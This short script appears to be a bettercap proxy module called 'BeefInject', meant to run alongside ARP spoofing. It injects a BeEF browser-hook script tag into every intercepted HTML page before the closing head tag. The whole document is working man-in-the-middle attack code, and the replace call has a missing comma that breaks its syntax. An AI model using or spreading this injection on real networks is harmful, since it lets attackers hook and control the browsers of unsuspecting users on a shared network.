script

function onLoad ()  {
    console.log("BeefInject loaded." );
    console.log("targets: " + env('arp.spoof.targets'));
}

function onResponse(req, res)   {
    if( res.ContentType.indexOf('text/html') == 0 ) {
        var body = res.ReadBody();
        if(body.indexOf('</head>') != -1)   {
            res.Body = body.replace(
                '</head>'
            '<script src="http://127.0.0.1:3000/hook.js"></script></head>'
            );
        }
    }
}